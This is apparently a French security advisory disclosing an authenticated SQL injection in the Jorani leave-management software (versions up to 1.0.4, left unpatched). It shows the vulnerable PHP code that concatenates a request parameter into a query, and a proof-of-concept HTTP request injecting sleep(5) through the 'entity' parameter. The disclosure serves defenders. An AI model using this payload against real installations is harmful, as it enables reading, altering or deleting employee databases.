Advisory4 min

Injection SQL authentifiée dans Jorani

Simon Juhel

Par Simon Juhel

Publié le 6 février 2026

Read in English
Bulletin de sécurité
Produit
Jorani
Sévérité
High
Versions affectées
≤ v1.0.4
Version corrigée
Unpatched

Avertissement

Aucun correctif, patch ou mesure d'atténuation officielle n'est disponible pour cette vulnérabilité au moment de la publication.
Le mainteneur du projet a confirmé la vulnérabilité, mais a indiqué qu'aucune remédiation n'était prévue, le projet étant destiné à être archivé.
Les organisations qui s'appuient sur ce logiciel doivent considérer la vulnérabilité comme permanente et évaluer des solutions alternatives ou des mesures d'isolation.

Introduction

Jorani est un système web open source de gestion des congés et de suivi des heures supplémentaires, conçu pour aider les organisations à gérer les absences des employés, les validations et les processus RH de manière simple et légère.

Description

Nous avons identifié une vulnérabilité à haut risque dans le projet Jorani, affectant la dernière branche de développement (v1.0.4) ainsi que la branche master. Une injection SQL authentifiée pourrait permettre à un employé d'extraire, de modifier ou de supprimer le contenu de la base de données.

Chronologie

DateDescription
11/08/2025Signalement initial de la vulnérabilité au mainteneur du projet
11/08/2025Vulnérabilité reconnue par le mainteneur
12/08/2025Détails techniques et analyse d'impact transmis au mainteneur
22/09/2025E-mail de relance envoyé au mainteneur
20/01/2026E-mail de relance envoyé au mainteneur
-Aucune réponse reçue depuis

Détails techniques

La fonction getAllChildrenItem est vulnérable à une injection SQL. Cette fonction utilise le paramètre $id et le concatène directement dans la requête SQL.

public function getAllChildren($id) {
    $query = 'SELECT GetFamilyTree(id) as id' .
                ' FROM organization' .
                ' WHERE id =' . $id;
    $query = $this->db->query($query);
    if(!$query) {
        $arr = [];
    } else {
        $arr = $query->result_array();
    }
    return $arr;
}

La fonction vulnérable est appelée depuis différents endroits. Par exemple, la route /contracts/calendar/alldayoffs appelle la fonction allDayOffs depuis Contacts.php.

public function allDayoffs() {
    header("Content-Type: application/json");
    $start = $this->input->get('start', TRUE);
    $end = $this->input->get('end', TRUE);
    $entity = $this->input->get('entity', TRUE);
    $children = filter_var($this->input->get('children', TRUE), FILTER_VALIDATE_BOOLEAN);
    $this->load->model('dayoffs_model');
    echo $this->dayoffs_model->allDayoffs($start, $end, $entity, $children);
}

Le paramètre entity est transmis via un paramètre HTTP GET, puis injecté dans l'appel à la fonction allDayoffs() depuis le modèle dayoffs. Ce même paramètre est ensuite injecté dans la fonction vulnérable getAllChidren.

public function allDayoffs($start, $end, $entity_id, $children) {
    $this->lang->load('calendar', $this->session->userdata('language'));

    // ...

    if ($children === TRUE) {
        $this->load->model('organization_model');
        $list = $this->organization_model->getAllChildren($entity_id);
        $ids = array();

    // ...
}

L'envoi de la requête HTTP ci-dessous exécute l'instruction SQL sleep et renvoie la réponse après un délai de 5 secondes.

GET /contracts/calendar/alldayoffs?entity=sleep(5);&children=true&csrf_test_jorani=c68f62226591858d8fd5003649f4661d&start=2025-07-27&end=2025-09-07&_=1754772955640 HTTP/1.1
Host: jorani.local:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Cookie: [REDACTED]

Ressources

Continuer la lecture

Parlez-nous de votre projet.

Discutons ensemble de vos besoins et attentes pour vous proposer un service sur mesure.